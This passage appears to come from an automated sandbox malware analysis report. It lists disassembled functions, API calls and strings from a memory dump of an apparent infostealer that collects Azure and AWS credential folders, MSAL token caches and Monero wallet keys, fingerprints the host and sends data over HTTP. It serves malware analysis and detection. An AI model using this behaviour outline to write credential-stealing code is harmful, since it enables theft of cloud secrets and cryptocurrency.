Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET$Hv
API String ID: 3749127164-1056595017
Opcode ID: 4be6e0f90094de6b796820391027aebb7690c235214628454bef17bdc3e1e56e
Instruction ID: b985d29fc0862fbce8d0b2c7b07b240c58f39cccbb2f78cafb7accb817e94c73
Opcode Fuzzy Hash: 4be6e0f90094de6b796820391027aebb7690c235214628454bef17bdc3e1e56e
Instruction Fuzzy Hash: 54711D71A00318ABDB14EFE4DC49FEE77B8AB44701F108599F609AB2D0DBB46A85CF51

Function 00B05510 Relevance: 24.9, APIs: 7, Strings: 7, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A820: lstrlen.KERNEL32(00AF4F05,?,?,00AF4F05,00B10DDE), ref: 00B0A82B
Part of subcall function 00B0A820: lstrcpy.KERNEL32(00B10DDE,00000000), ref: 00B0A885

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B05644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B056A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B05857

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Part of subcall function 00B051F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B05228

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B052C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B05318
Part of subcall function 00B052C0: lstrlen.KERNEL32(00000000), ref: 00B0532F
Part of subcall function 00B052C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00B05364
Part of subcall function 00B052C0: lstrlen.KERNEL32(00000000), ref: 00B05383
Part of subcall function 00B052C0: lstrlen.KERNEL32(00000000), ref: 00B053AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B0578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B05940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B05A0C
Sleep.KERNEL32(0000EA60), ref: 00B05A1B

Strings

ERROR, xrefs: 00B0577D
ERROR, xrefs: 00B05693
ERROR, xrefs: 00B05932
Xgu, xrefs: 00B05585, 00B055E3
ERROR, xrefs: 00B059FE
ERROR, xrefs: 00B05849
ERROR, xrefs: 00B05636

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$Xgu
API String ID: 507064821-1343248221
Opcode ID: 22d80000f5161789ef571a38b8f94c1db42e08fc1f9d9f85a3f086dc5b749db8
Instruction ID: 5e968d9e6f1439addae1599e09773a4fcb17f7166841ab412e4c3da4d15be1d7
Opcode Fuzzy Hash: 22d80000f5161789ef571a38b8f94c1db42e08fc1f9d9f85a3f086dc5b749db8
Instruction Fuzzy Hash: 02E145719103049ACB14FBA4DD56EFE7BBCAF54300F40C998B506A65D1EF34AE49CBA2

Function 00B04D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B08DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B08E0B

lstrcat.KERNEL32(?,00000000), ref: 00B04DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00B04DCD

Part of subcall function 00B04910: wsprintfA.USER32 ref: 00B0492C
Part of subcall function 00B04910: FindFirstFileA.KERNEL32(?,?), ref: 00B04943

lstrcat.KERNEL32(?,00000000), ref: 00B04E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00B04E59

Part of subcall function 00B04910: StrCmpCA.SHLWAPI(?,00B10FDC), ref: 00B04971
Part of subcall function 00B04910: StrCmpCA.SHLWAPI(?,00B10FE0), ref: 00B04987
Part of subcall function 00B04910: FindNextFileA.KERNEL32(000000FF,?), ref: 00B04B7D
Part of subcall function 00B04910: FindClose.KERNEL32(000000FF), ref: 00B04B92

lstrcat.KERNEL32(?,00000000), ref: 00B04EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00B04EE5

Part of subcall function 00B04910: wsprintfA.USER32 ref: 00B049B0
Part of subcall function 00B04910: StrCmpCA.SHLWAPI(?,00B108D2), ref: 00B049C5
Part of subcall function 00B04910: wsprintfA.USER32 ref: 00B049E2
Part of subcall function 00B04910: PathMatchSpecA.SHLWAPI(?,?), ref: 00B04A1E
Part of subcall function 00B04910: lstrcat.KERNEL32(?,0076EC38), ref: 00B04A4A
Part of subcall function 00B04910: lstrcat.KERNEL32(?,00B10FF8), ref: 00B04A5C
Part of subcall function 00B04910: lstrcat.KERNEL32(?,?), ref: 00B04A70
Part of subcall function 00B04910: lstrcat.KERNEL32(?,00B10FFC), ref: 00B04A82
Part of subcall function 00B04910: lstrcat.KERNEL32(?,?), ref: 00B04A96
Part of subcall function 00B04910: CopyFileA.KERNEL32(?,?,00000001), ref: 00B04AAC
Part of subcall function 00B04910: DeleteFileA.KERNEL32(?), ref: 00B04B31

Strings

Azure\.aws, xrefs: 00B04E5F
*.*, xrefs: 00B04DD8
*.*, xrefs: 00B04E64
\.azure\, xrefs: 00B04DC1
Azure\.azure, xrefs: 00B04DD3
msal.cache, xrefs: 00B04EF0
\.aws\, xrefs: 00B04E4D
\.IdentityService\, xrefs: 00B04ED9
Azure\.IdentityService, xrefs: 00B04EEB

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 9a83da900deac6c63d27b2b3f48edfc04cc9620fdd1dcb08b2cc46a1f2f0f98e
Instruction ID: 0dc2a6bd7a27bdff939046b13c39aac6e6d5ac067cdcd1d81d25e910b252c865
Opcode Fuzzy Hash: 9a83da900deac6c63d27b2b3f48edfc04cc9620fdd1dcb08b2cc46a1f2f0f98e
Instruction Fuzzy Hash: AD4195BAA5030867C750F770DC47FED37B8AB24700F4049D4B28AA61D1EEB597C98B92

Function 00B01A10 Relevance: 16.6, APIs: 2, Strings: 7, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B07500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00B07542
Part of subcall function 00B07500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B0757F
Part of subcall function 00B07500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B07603
Part of subcall function 00B07500: RtlAllocateHeap.NTDLL(00000000), ref: 00B0760A

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

Part of subcall function 00B07690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B076A4
Part of subcall function 00B07690: RtlAllocateHeap.NTDLL(00000000), ref: 00B076AB

Part of subcall function 00B077C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,00B0DBC0,000000FF,?,00B01C99,00000000,?,0076D228,00000000,?), ref: 00B077F2
Part of subcall function 00B077C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,00B0DBC0,000000FF,?,00B01C99,00000000,?,0076D228,00000000,?), ref: 00B077F9

Part of subcall function 00B07850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00AF11B7), ref: 00B07880
Part of subcall function 00B07850: RtlAllocateHeap.NTDLL(00000000), ref: 00B07887
Part of subcall function 00B07850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00B0789F

Part of subcall function 00B078E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B07910
Part of subcall function 00B078E0: RtlAllocateHeap.NTDLL(00000000), ref: 00B07917
Part of subcall function 00B078E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00B0792F

Part of subcall function 00B07980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00B10E00,00000000,?), ref: 00B079B0
Part of subcall function 00B07980: RtlAllocateHeap.NTDLL(00000000), ref: 00B079B7
Part of subcall function 00B07980: GetLocalTime.KERNEL32(?,?,?,?,?,00B10E00,00000000,?), ref: 00B079C4
Part of subcall function 00B07980: wsprintfA.USER32 ref: 00B079F3

Part of subcall function 00B07A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0076E270,00000000,?,00B10E10,00000000,?,00000000,00000000), ref: 00B07A63
Part of subcall function 00B07A30: RtlAllocateHeap.NTDLL(00000000), ref: 00B07A6A
Part of subcall function 00B07A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0076E270,00000000,?,00B10E10,00000000,?,00000000,00000000,?), ref: 00B07A7D

Part of subcall function 00B07B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0076E270,00000000,?,00B10E10,00000000,?,00000000,00000000), ref: 00B07B35

Part of subcall function 00B07B90: GetKeyboardLayoutList.USER32(00000000,00000000,00B105AF), ref: 00B07BE1
Part of subcall function 00B07B90: LocalAlloc.KERNEL32(00000040,?), ref: 00B07BF9
Part of subcall function 00B07B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00B07C0D
Part of subcall function 00B07B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00B07C62
Part of subcall function 00B07B90: LocalFree.KERNEL32(00000000), ref: 00B07D22

Part of subcall function 00B07D80: GetSystemPowerStatus.KERNEL32(?), ref: 00B07DAD

GetCurrentProcessId.KERNEL32(00000000,?,0076D1A8,00000000,?,00B10E24,00000000,?,00000000,00000000,?,0076E360,00000000,?,00B10E20,00000000), ref: 00B0207E

Part of subcall function 00B09470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00B09484
Part of subcall function 00B09470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00B094A5
Part of subcall function 00B09470: CloseHandle.KERNEL32(00000000), ref: 00B094AF

Part of subcall function 00B07E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B07E37
Part of subcall function 00B07E00: RtlAllocateHeap.NTDLL(00000000), ref: 00B07E3E
Part of subcall function 00B07E00: RegOpenKeyExA.KERNEL32(80000002,0075BC88,00000000,00020119,?), ref: 00B07E5E
Part of subcall function 00B07E00: RegQueryValueExA.KERNEL32(?,0076D188,00000000,00000000,000000FF,000000FF), ref: 00B07E7F
Part of subcall function 00B07E00: RegCloseKey.ADVAPI32(?), ref: 00B07E92

Part of subcall function 00B07F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00B07FC9
Part of subcall function 00B07F60: GetLastError.KERNEL32 ref: 00B07FD8

Part of subcall function 00B07ED0: GetSystemInfo.KERNEL32(00B10E2C), ref: 00B07F00
Part of subcall function 00B07ED0: wsprintfA.USER32 ref: 00B07F16

Part of subcall function 00B08100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0076E390,00000000,?,00B10E2C,00000000,?,00000000), ref: 00B08130
Part of subcall function 00B08100: RtlAllocateHeap.NTDLL(00000000), ref: 00B08137
Part of subcall function 00B08100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00B08158
Part of subcall function 00B08100: __aulldiv.LIBCMT ref: 00B08172
Part of subcall function 00B08100: __aulldiv.LIBCMT ref: 00B08180
Part of subcall function 00B08100: wsprintfA.USER32 ref: 00B081AC

Part of subcall function 00B087C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00B10E28,00000000,?), ref: 00B0882F
Part of subcall function 00B087C0: RtlAllocateHeap.NTDLL(00000000), ref: 00B08836
Part of subcall function 00B087C0: wsprintfA.USER32 ref: 00B08850

Part of subcall function 00B08320: RegOpenKeyExA.KERNEL32(00000000,0076AA90,00000000,00020019,00000000,00B105B6), ref: 00B083A4

Part of subcall function 00B08320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00B08426
Part of subcall function 00B08320: wsprintfA.USER32 ref: 00B08459
Part of subcall function 00B08320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00B0847B
Part of subcall function 00B08320: RegCloseKey.ADVAPI32(00000000), ref: 00B0848C
Part of subcall function 00B08320: RegCloseKey.ADVAPI32(00000000), ref: 00B08499

Part of subcall function 00B08680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00B105B7), ref: 00B086CA
Part of subcall function 00B08680: Process32First.KERNEL32(?,00000128), ref: 00B086DE
Part of subcall function 00B08680: Process32Next.KERNEL32(?,00000128), ref: 00B086F3
Part of subcall function 00B08680: CloseHandle.KERNEL32(?), ref: 00B08761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 00B0265B

Strings

`v, xrefs: 00B01FDA
8v, xrefs: 00B0252D
v, xrefs: 00B023F4
v, xrefs: 00B01ED0
hv, xrefs: 00B01E55
0v, xrefs: 00B020EB
pv, xrefs: 00B01DDA

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID: 0v$8v$`v$hv$pv$v$v
API String ID: 3113730047-1344257670
Opcode ID: 4e6b2188f21cd28d87c393eb3dae345acb4280ea251f15d1423f7ef19ca49bc7
Instruction ID: 839d552436adaabdb1967cb8213c5e6da813bfa71e6d38e8513946dfb29f41e3
Opcode Fuzzy Hash: 4e6b2188f21cd28d87c393eb3dae345acb4280ea251f15d1423f7ef19ca49bc7
Instruction Fuzzy Hash: E8726E72D10318AADB59FB90DD92EDEB7BCAF24300F5086D9B116720D1EF306B49CA65

Function 00AF1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00AF12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00AF12B4
Part of subcall function 00AF12A0: RtlAllocateHeap.NTDLL(00000000), ref: 00AF12BB
Part of subcall function 00AF12A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00AF12D7
Part of subcall function 00AF12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00AF12F5
Part of subcall function 00AF12A0: RegCloseKey.ADVAPI32(?), ref: 00AF12FF

lstrcat.KERNEL32(?,00000000), ref: 00AF134F
lstrlen.KERNEL32(?), ref: 00AF135C
lstrcat.KERNEL32(?,.keys), ref: 00AF1377

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B08B60: GetSystemTime.KERNEL32(00B10E1A,0076D9F0,00B105AE,?,?,00AF13F9,?,0000001A,00B10E1A,00000000,?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B08B86

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00AF1465

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Part of subcall function 00AF99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00AF99EC
Part of subcall function 00AF99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00AF9A11
Part of subcall function 00AF99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00AF9A31
Part of subcall function 00AF99C0: ReadFile.KERNEL32(000000FF,?,00000000,00AF148F,00000000), ref: 00AF9A5A
Part of subcall function 00AF99C0: LocalFree.KERNEL32(00AF148F), ref: 00AF9A90
Part of subcall function 00AF99C0: CloseHandle.KERNEL32(000000FF), ref: 00AF9A9A

DeleteFileA.KERNEL32(00000000), ref: 00AF14EF

Strings

.keys, xrefs: 00AF136B
wallet_path, xrefs: 00AF1330
SOFTWARE\monero-project\monero-core, xrefs: 00AF1335
\Monero\wallet.keys, xrefs: 00AF138D

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
